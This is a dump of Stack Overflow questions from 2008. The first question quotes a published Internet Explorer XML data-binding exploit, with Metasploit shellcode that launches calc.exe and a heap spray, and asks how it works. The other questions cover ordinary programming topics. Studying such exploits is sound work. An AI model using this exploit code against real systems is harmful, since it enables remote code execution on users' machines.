<p>I usually do not have difficulty to read JavaScript code but for this one I can’t figure out the logic. The code is from an exploit that has been published 4 days ago. You can find it at <a href="https://web.archive.org/web/20100412164007/http://www.milw0rm.com/exploits/7477" rel="nofollow noreferrer">milw0rm</a>.</p> <p>Here is the code:</p> <pre><code>&lt;html&gt; &lt;div id="replace"&gt;x&lt;/div&gt; &lt;script&gt; // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length &lt; 0xd0000); memory = new Array(); for(i = 0; i &lt; 100; i++) memory[i] = spray + shellcode; xmlcode = "&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;image SRC=http://&amp;#x0a0a;&amp;#x0a0a;.example.com&gt;]]&gt;&lt;/C&gt;&lt;/X&gt;&lt;/XML&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;XML ID=I&gt;&lt;/XML&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;"; tag = document.getElementById("replace"); tag.innerHTML = xmlcode; &lt;/script&gt; &lt;/html&gt; </code></pre> <p>Here is what I believe it does and I would like you to help me for the part that I misunderstand.</p> <p>The variable <code>shellcode</code> contains the code to open the <code>calc.exe</code>. I do not get how they have found that weird string. Any idea?</p> <p>The second thing is the variable <code>spray</code>. I do not understand this weird loop.</p> <p>The third thing is the variable <code>memory</code> that is never used anywhere. Why do they create it?</p> <p>Last thing: what does the XML tag do in the page?</p> <hr> <p>For the moment I have good answers but mostly very general ones. I would like more explanations of the value of the code. An example is <code>unescape("%u0a0a%u0a0a");</code>. What does it mean? Same thing for the loop: why did the developer write: <code>length &lt; 0xd0000</code>? I would like a deeper understanding, not only the theory of this code.</p>
[ { "answer_id": 381205, "author": "mmx", "author_id": 33708, "author_profile": "https://Stackoverflow.com/users/33708", "pm_score": 9, "selected": true, "text": "spray memory nop memory unscape spray 0a0a or cl, [edx] nop spray 0x0a0a innerHtml or cl, [edx] 00000000 C9 lea...
2008/12/19
[ "https://Stackoverflow.com/questions/381171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13913/" ]
381,204
<p>One of the web pages on our site is extremely long. Although the page itself does not call any javascript or jquery functions, its base page registers the JQuery source script (jquery-1.2.6.js) and this seems to cause IE7 to display the "A script on this page is causing Internet Explorer to run slowly." message when you click on a link that will navigate you away from this long page.</p> <p>Removing the registration of the jquery source script makes the problem go away, however there are other controls on the page that require jquery so this is not really an option.</p> <p>Any ideas why this happens and is there any way around it? Thanks.</p>
[ { "answer_id": 423962, "author": "Ariel", "author_id": 24654, "author_profile": "https://Stackoverflow.com/users/24654", "pm_score": 0, "selected": false, "text": "//cache any jQuery objects that are used frequently\n$myObj = $(\".someClass\");\n...\n" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/381204", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1127460/" ]
381,208
<p>Is there a problem with using <code>IEnumerable&lt;T&gt;</code> as a return type? FxCop complains about returning <code>List&lt;T&gt;</code> (it advises returning <code>Collection&lt;T&gt;</code> instead).</p> <p>Well, I've always been guided by a rule "accept the least you can, but return the maximum."</p> <p>From this point of view, returning <code>IEnumerable&lt;T&gt;</code> is a bad thing, but what should I do when I want to use "lazy retrieval"? Also, the <code>yield</code> keyword is such a goodie.</p>
[ { "answer_id": 381218, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 5, "selected": false, "text": "IEnumerable<T> ToList ToArray IEnumerable<T>" }, { "answer_id": 382001, "author": "Daniel Earwicker", ...
2008/12/19
[ "https://Stackoverflow.com/questions/381208", "https://Stackoverflow.com", "https://Stackoverflow.com/users/430254/" ]
381,214
<h2>Some Context</h2> <p>From <a href="http://books.google.com/books?id=VOS6IlCsuU4C" rel="nofollow noreferrer">Javascript: The Definitive Guide</a>:</p> <blockquote> <p>When <code>regexp</code> is a global regular expression, however, <code>exec()</code> behaves in a slightly more complex way. It begins searching <code>string</code> at the character position specified by the <code>lastIndex</code> preperty of <code>regexp</code>. When it finds a match, it sets <code>lastIndex</code> to the position of the first character after the match.</p> </blockquote> <p>I think anyone who works with javascript RegExps on a regular basis will recognize this passage. However, I have found a strange behavior in this method.</p> <h2>The Problem</h2> <p>Consider the following code:</p> <pre><code>&gt;&gt; rx = /^(.*)$/mg &gt;&gt; tx = 'foo\n\nbar' &gt;&gt; rx.exec(tx) [foo,foo] &gt;&gt; rx.lastIndex 3 &gt;&gt; rx.exec(tx) [,] &gt;&gt; rx.lastIndex 4 &gt;&gt; rx.exec(tx) [,] &gt;&gt; rx.lastIndex 4 &gt;&gt; rx.exec(tx) [,] &gt;&gt; rx.lastIndex 4 </code></pre> <p>The RegExp seems to get stuck on the second line and doesn't increment the <code>lastIndex</code> property. This seems to contradict <a href="http://books.google.com/books?id=VOS6IlCsuU4C" rel="nofollow noreferrer">The Rhino Book</a>. If I set it myself as follows it continues and eventually returns null as expected but it seems like I shouldn't have to.</p> <pre><code>&gt;&gt; rx.lastIndex = 5 5 &gt;&gt; rx.exec(tx) [bar,bar] &gt;&gt; rx.lastIndex 8 &gt;&gt; rx.exec(tx) null </code></pre> <h2>Conclusion</h2> <p>Obviously I can increment the <code>lastIndex</code> property any time the match is the empty string. However, being the inquisitive type, I want to know why it isn't incremented by the <code>exec</code> method. Why isn't it?</p> <h2>Notes</h2> <p>I have observed this behavior in Chrome and Firefox. It seems to happen only when there are adjacent newlines.</p> <h3>[edit]</h3> <p><a href="https://stackoverflow.com/users/18771/tomalak">Tomalak</a> says below that changing the pattern to <code>/^(.+)$/gm</code> will cause the expression not to get stuck, but the blank line is ignored. Can this be altered to still match the line? Thanks for the answer <a href="https://stackoverflow.com/users/18771/tomalak">Tomalak</a>!</p> <h3>[edit]</h3> <p>Using the following pattern and using group 1 works for all strings I can think of. Thanks again to <a href="https://stackoverflow.com/users/18771/tomalak">Tomalak</a>.</p> <pre><code>/^(.*)((\r\n|\r|\n)|$)/gm </code></pre> <h3>[edit]</h3> <p>The previous pattern returns the blank line. However, if you don't care about the blank lines, <a href="https://stackoverflow.com/users/18771/tomalak">Tomalak</a> gives the following solution, which I think is cleaner.</p> <pre><code>/^(.*)[\r\n]*/gm </code></pre> <h3>[edit]</h3> <p>Both of the previous two solutions get stuck on trailing newlines, so you have to either strip them or increment <code>lastIndex</code> manually.</p> <h3>[edit]</h3> <p>I found a great article detailing the cross browser issues with <code>lastIndex</code> over at <a href="http://blog.stevenlevithan.com/archives/exec-bugs" rel="nofollow noreferrer">Flagrant Badassery</a>. Besides the awesome blog name, the article gave me a much more in depth understanding of the issue along with a good cross browser solution. The solution is as follows:</p> <pre><code>var rx = /^/gm, tx = 'A\nB\nC', m; while(m = rx.exec(tx)){ if(!m[0].length &amp;&amp; rx.lastIndex &gt; m.index){ --rx.lastIndex; } foo(); if(!m[0].length){ ++rx.lastIndex; } } </code></pre>
[ { "answer_id": 381236, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 4, "selected": true, "text": "^(.*)$\n \"m\" \"^\" \"$\" \"\\n\" \"\\n\" \"(.*)\" lastIndex ^(.+)$\n ^(.*)\\n? // remove all \\r characters beforehan...
2008/12/19
[ "https://Stackoverflow.com/questions/381214", "https://Stackoverflow.com", "https://Stackoverflow.com/users/208/" ]
381,216
<p>Does the functional spec help or hinder your expectations? Do programmers who practice the waterfall methodology, are they open to functional specs? I'm a web designer/developer working with a team of 5 programmers and would like to write a functional spec to explain what we need, so that when I begin my work - I know we are working towards the same goal.</p>
[ { "answer_id": 381297, "author": "Ates Goral", "author_id": 23501, "author_profile": "https://Stackoverflow.com/users/23501", "pm_score": 1, "selected": false, "text": "<p style=\"tongue: in-cheek\"> </p>" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/381216", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28454/" ]
381,224
<p>Do T-SQL queries in SQL Server support short-circuiting?</p> <p>For instance, I have a situation where I have two database and I'm comparing data between the two tables to match and copy some info across. In one table, the "ID" field will always have leading zeros (such as "000000001234"), and in the other table, the ID field may or may not have leading zeros (might be "000000001234" or "1234").</p> <p>So my query to match the two is something like: select * from table1 where table1.ID LIKE '%1234'</p> <p>To speed things up, I'm thinking of adding an OR before the like that just says: table1.ID = table2.ID to handle the case where both ID's have the padded zeros and are equal.</p> <p>Will doing so speed up the query by matching items on the "=" and not evaluating the LIKE for every single row (will it short circuit and skip the LIKE)?</p>
[ { "answer_id": 381239, "author": "Steven A. Lowe", "author_id": 9345, "author_profile": "https://Stackoverflow.com/users/9345", "pm_score": 1, "selected": false, "text": "select * from table1 where table1.ID LIKE '%1234'\n select * from table1 where dbo.udfStripLeadingZeros(table1.ID) = ...
2008/12/19
[ "https://Stackoverflow.com/questions/381224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/146/" ]
381,226
<p>I don't want to discuss the merits of this approach, just if it is possible. I believe the answer to be "no". But maybe someone will surprise me!</p> <p>Imagine you have a core widget class. It has a method <code>calculateHeight()</code>, that returns a height. The height is too big - this result in buttons (say) that are too big. You can extend DefaultWidget to create your own NiceWidget, and implement your own <code>calculateHeight()</code> to return a nicer size.</p> <p>Now a library class WindowDisplayFactory, instantiates DefaultWidget in a fairly complex method. You would like it to use your NiceWidget. The factory class's method looks something like this:</p> <pre><code>public IWidget createView(Component parent) { DefaultWidget widget = new DefaultWidget(CONSTS.BLUE, CONSTS.SIZE_STUPIDLY); // bunch of ifs ... SomeOtherWidget bla = new SomeOtherWidget(widget); SomeResultWidget result = new SomeResultWidget(parent); SomeListener listener = new SomeListener(parent, widget, flags); // more widget creation and voodoo here return result; } </code></pre> <p>That's the deal. The result has the DefaultWidget deep within a hierarchy of other objects. The question - how to get this factory method to use my own NiceWidget? Or at least get my own <code>calculateHeight()</code> in there. Ideally, I'd like to be able to monkey patch the DefaultWidget so that its calculateHeight did the right thing...</p> <pre><code>public class MyWindowDisplayFactory { public IWidget createView(Component parent) { DefaultWidget.class.setMethod("calculateHeight", myCalculateHeight); return super.createView(parent); } } </code></pre> <p>Which is what I could do in Python, Ruby, etc. I've invented the name <code>setMethod()</code> though. The other options open to me are:</p> <ul> <li>Copying and pasting the code of the <code>createView()</code> method into my own class that inherits from the factory class</li> <li>Living with widgets that are too big</li> </ul> <p>The factory class can't be changed - it is part of a core platform API. I tried reflection on the returned result to get to the widget that (eventually) got added, but it is several widget-layers down and somewhere it gets used to initialize other stuff, causing odd side effects.</p> <p>Any ideas? My solution so far is the copy-paste job, but that's a cop out that requires tracking the changes in the parent factory class when upgrading to newer versions of the platform, and I'd be interested to hear other options.</p>
[ { "answer_id": 381252, "author": "Rolf Rander", "author_id": 47402, "author_profile": "https://Stackoverflow.com/users/47402", "pm_score": 0, "selected": false, "text": "class MyWidget implements IWidget {\n private IWidget delegate;\n public MyWidget(IWidget d) {\n this.del...
2008/12/19
[ "https://Stackoverflow.com/questions/381226", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4596/" ]
381,231
<p>I enjoyed the answers and questions about <a href="https://stackoverflow.com/questions/121243/hidden-features-of-sql-server">hidden features in sql server</a> </p> <p>What can you tell us about Oracle?<br> Hidden tables, inner workings of ..., secret stored procs, package that has good utils...</p>
[ { "answer_id": 381268, "author": "Peter Gfader", "author_id": 35693, "author_profile": "https://Stackoverflow.com/users/35693", "pm_score": 1, "selected": false, "text": "declare cursor PCK_UTILS.typ_cursor; \n\nbegin \n PCK_UTILS.spc_get_encodedstring( \n 'U', \n 1...
2008/12/19
[ "https://Stackoverflow.com/questions/381231", "https://Stackoverflow.com", "https://Stackoverflow.com/users/35693/" ]
381,244
<p>Admittedly I don't get it. Say you have a memory with a memory word of length of 1 byte. Why can't you access a 4 byte long variable in a single memory access on an unaligned address(i.e. not divisible by 4), as it's the case with aligned addresses?</p>
[ { "answer_id": 381368, "author": "joshperry", "author_id": 30587, "author_profile": "https://Stackoverflow.com/users/30587", "pm_score": 9, "selected": false, "text": "struct mystruct {\n char c; // one byte\n int i; // four bytes\n short s; // two bytes\n}\n OR 00" }, { ...
2008/12/19
[ "https://Stackoverflow.com/questions/381244", "https://Stackoverflow.com", "https://Stackoverflow.com/users/42803/" ]
381,253
<p>So, I want to use jquery to set the text of a button, depending on the value of a property in the current row of a repeater.</p> <p>I need to call a function in the code-behind to map the value to the text the button should have. So, I need to pass to my foo function, the string value of the UserStatus property for the current item in the repeater.</p> <p>I want to do the following, although this syntax is obviously not correct:</p> <pre><code>&lt;asp:Repeater ID="dgCustomer" runat="server"&gt; &lt;ItemTemplate&gt; &lt;input id="rb" name="rb" type="radio" onclick='javascript:$("input.magicbutton").val("&lt;%= foo(DataBinder.Eval(Container.DataItem, "UserStatus")) %&gt;");' </code></pre> <p>If the codebehind contains the following method definition:</p> <pre><code>protected string foo(string status) </code></pre> <p>What is the correct syntax to call foo with an Item value from the repeater?</p>
[ { "answer_id": 381312, "author": "bdukes", "author_id": 2688, "author_profile": "https://Stackoverflow.com/users/2688", "pm_score": 1, "selected": false, "text": "<%# ... %> <%= ... %> foo foo onclick" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/381253", "https://Stackoverflow.com", "https://Stackoverflow.com/users/35086/" ]
381,259
<p>I was just browsing a forum and someone asked about a PHP file they had found on the web. It has several spots like this in the code:</p> <p><code>if ($REMOTE_ADDR == "") $ip = "no ip"; else $ip = getHostByAddr($REMOTE_ADDR);</code></p> <p>I have always thought brackets are needed to enclose what you want to do if the condition is true. Is there some other alternative, such as if it is on the same line you don't?</p> <p>There is also another line like this: <code>if ($action != ""): mail("$adminaddress","Visitor Comment from YOUR SITE",</code></p> <p>My instinct is to say this wouldn't work, but I also don't know if it is an outdated PHP file and it used to work?</p>
[ { "answer_id": 381274, "author": "Jacco", "author_id": 22674, "author_profile": "https://Stackoverflow.com/users/22674", "pm_score": 7, "selected": true, "text": "<?php\nif ($something) {\n echo 'one conditional line of code';\n echo 'another conditional line of code';\n}\n\n\nif ($s...
2008/12/19
[ "https://Stackoverflow.com/questions/381259", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27620/" ]
381,265
<p>Since PHP is a dynamic language what's the best way of checking to see if a provided field is empty? </p> <p>I want to ensure that:</p> <ol> <li>null is considered an empty string</li> <li>a white space only string is considered empty</li> <li>that "0" is not considered empty</li> </ol> <p>This is what I've got so far:</p> <pre><code>$question = trim($_POST['question']); if ("" === "$question") { // Handle error here } </code></pre> <p>There must be a simpler way of doing this?</p>
[ { "answer_id": 381275, "author": "Michael Haren", "author_id": 29, "author_profile": "https://Stackoverflow.com/users/29", "pm_score": 9, "selected": true, "text": "// Function for basic field validation (present and neither empty nor only white space\nfunction IsNullOrEmptyString($str){...
2008/12/19
[ "https://Stackoverflow.com/questions/381265", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2443/" ]
381,267
<p>Simple question; what's better and why?</p> <pre><code> out.resize( in.size() ); T1::iterator outit = out.begin(); for( inIt = in.begin() to end, ++inIt, ++outIt ) *outit = *inIt OR out.erase(); for( inIt = in.begin() to end, ++inIt ) out.push_back( inIt ); </code></pre> <p>I'm assuming the memory assignment implicit in push_back is worth avoiding but want to make sure.</p> <p>Thanks</p> <p>EDIT: Thanks for the out = in suggestions guys ;). The actual code I'm playing with is:</p> <pre><code> template//can't stop the browser ignoring th class T1, class T2 in angle brackets bool asciihex( T1& out, const T2& in ) { //out.erase(); out.resize( in.size() / 2 ); if( std::distance( in.begin(), in.end() ) % 2 )//use distance rather than size to minimise the requirements on T2? return false; for( T2::const_iterator it = in.begin(); it != in.end(); it += 2 ) { out.push_back(((( (*it > '9' ? *it - 0x07 : *it) - 0x30) '9' ? *(it+1) - 0x07 : *(it+1)) - 0x30) & 0x000f)); } return true; } template bool asciihex( T1& out, const T2& in ) { size_t size = in.size(); if( size % 2 )//use distance rather than size to minimise the requirements on T2? return false; out.resize( size / 2 ); T1::iterator outit = out.begin(); for( T2::const_iterator it = in.begin(); it != in.end(); it += 2, ++outit ) { *outit = ((( (*it > '9' ? *it - 0x07 : *it) - 0x30) '9' ? *(it+1) - 0x07 : *(it+1)) - 0x30) & 0x000f); } return true; } </code></pre> <p>Edit: I've marked push_back as the answer as it seems to be the consensus and, therefore, more useful to anyone else with the same problem. However I have ended up using the iterator method as one of the container classes I'm interested in doesn't support push_back... mileage varies.</p>
[ { "answer_id": 381430, "author": "Matt Cruikshank", "author_id": 8643, "author_profile": "https://Stackoverflow.com/users/8643", "pm_score": 1, "selected": false, "text": "out = in;\n out.resize( in.size() );\nT1::iterator outIt = out.begin();\nfor( T1::iterator inIt = in.begin(); inIt !...
2008/12/19
[ "https://Stackoverflow.com/questions/381267", "https://Stackoverflow.com", "https://Stackoverflow.com/users/38892/" ]
381,300
<p>I want to read an XML file into a <code>char *buffer</code> using C.</p> <p>What is the best way to do this?</p> <p>How should I get started?</p>
[ { "answer_id": 381329, "author": "Baget", "author_id": 34369, "author_profile": "https://Stackoverflow.com/users/34369", "pm_score": 2, "selected": false, "text": "struct stat file_status;\nchar *buf = NULL;\nFILE * pFile;\n\nstat(\"tmp.xml\", &file_status);\nbuf = (char*)malloc(file_sta...
2008/12/19
[ "https://Stackoverflow.com/questions/381300", "https://Stackoverflow.com", "https://Stackoverflow.com/users/41795/" ]
381,323
<p>I have a column that has fields such as C5, C6, C3, CC, CA, CD, etc. </p> <p>I want to be able to find all the columns that have a letter and then a number such as C5 and C6.</p> <p>I know if I do:</p> <pre><code>SELECT * FROM TABLE WHERE FIELD LIKE 'C%' </code></pre> <p>It will return CC,CA,CD as well, but I don't want that, I want to just return the ones numbers. I also want to update this column deleting the number, so C5 becomes C and C6 becomes C and so on.</p>
[ { "answer_id": 381339, "author": "spittman", "author_id": 47810, "author_profile": "https://Stackoverflow.com/users/47810", "pm_score": 3, "selected": true, "text": "SELECT * FROM TABLE WHERE FIELD LIKE 'C[0-9]%'" }, { "answer_id": 1765504, "author": "priyanka.sarkar", "a...
2008/12/19
[ "https://Stackoverflow.com/questions/381323", "https://Stackoverflow.com", "https://Stackoverflow.com/users/33690/" ]
381,324
<p>I <a href="https://stackoverflow.com/questions/381164">this post</a>, I've seen this:</p> <pre><code>class MonitorObjectString: public MonitorObject { // some other declarations friend inline bool operator==(/*const*/ MonitorObjectString&amp; lhs, /*const*/ MonitorObjectString&amp; rhs) { return lhs.fVal==rhs.fVal; } } </code></pre> <hr> <p>Before we can continue, <b>THIS IS VERY IMPORTANT:</b></p> <ul> <li>I am <b>not questioning</b> anyone's ability to code.</li> <li>I am <b>just wondering</b> why someone would need non-const references in a comparison.</li> <li>The poster of <a href="https://stackoverflow.com/questions/381164">that question</a> <b>did not</b> write that code.</li> </ul> <p>This was just in case. This is important too:</p> <ul> <li>I added both <code>/*const*/</code>s and reformatted the code.</li> </ul> <hr> <p>Now, we get back to the topic:</p> <p>I can't think of a sane use of the equality operator that lets you modify its by-ref arguments. Do you?</p>
[ { "answer_id": 381344, "author": "Andrew Rollings", "author_id": 40410, "author_profile": "https://Stackoverflow.com/users/40410", "pm_score": 3, "selected": false, "text": "const const" }, { "answer_id": 381539, "author": "Drew Dormann", "author_id": 16287, "author_p...
2008/12/19
[ "https://Stackoverflow.com/questions/381324", "https://Stackoverflow.com", "https://Stackoverflow.com/users/46571/" ]
381,363
<p>I'm so sick of the pass-callback-data-as-void*-struct anti-pattern. Boost bind solves it nicely, but is an unacceptable dependency. What's a lightweight alternative? How would I write it myself as simply as possible?</p>
[ { "answer_id": 381412, "author": "eduffy", "author_id": 7536, "author_profile": "https://Stackoverflow.com/users/7536", "pm_score": 3, "selected": true, "text": "#include <iostream>\n\nvoid foo (int const& x) {\n std::cout << \"x = \" << x << std::endl;\n}\n\nvoid bar (std::string con...
2008/12/19
[ "https://Stackoverflow.com/questions/381363", "https://Stackoverflow.com", "https://Stackoverflow.com/users/20003/" ]
381,366
<p>I've used the <a href="http://msdn.microsoft.com/en-us/library/8bch7bkk.aspx" rel="nofollow noreferrer"><code>setargv.obj</code> linking for Expanding Wildcard Arguments</a> in the past for a number of C and C++ apps, but I can't find any similar mention for .net applications.</p> <p><strong>Is there a standard way to have your app's command line parameters automatically wildcard expanded?</strong> (i.e. expand <code>*.doc</code> from one entry in args parameter to all that match that wildcard).</p> <p>P.S. I've hacked something together with <code>Directory.GetFiles()</code> for my current little project, but it does not cover wildcards with paths (yet), and it would be nice to do it without custom code.</p> <p><strong>Update:</strong> here is my rough hack, for illustration. It needs to split the parameters for the path and name for the <code>GetFiles()</code>, but this is a general idea. Linking <code>setargv.obj</code> into a C or C++ app would basically do all the wildcard expansion, leaving the user to only iterate over the argv array.</p> <pre class="lang-cs prettyprint-override"><code>public static void Main(string[] args) { foreach (string argString in args) { // Split into path and wildcard int lastBackslashPos = argString.LastIndexOf('\\') + 1; path = argString.Substring(0, lastBackslashPos); filenameOnly = argString.Substring(lastBackslashPos, argString.Length - lastBackslashPos); string[] fileList = System.IO.Directory.GetFiles(path, filenameOnly); foreach (string fileName in fileList) { // do things for each file } } } </code></pre>
[ { "answer_id": 381471, "author": "BenAlabaster", "author_id": 40650, "author_profile": "https://Stackoverflow.com/users/40650", "pm_score": 2, "selected": false, "text": "var Dirs = Directory.GetDirectories(@\"C:\\Windows\", \"sys*\", \nSearchOption.TopDirectoryOnly).ToList();\nvar Files...
2008/12/19
[ "https://Stackoverflow.com/questions/381366", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1441/" ]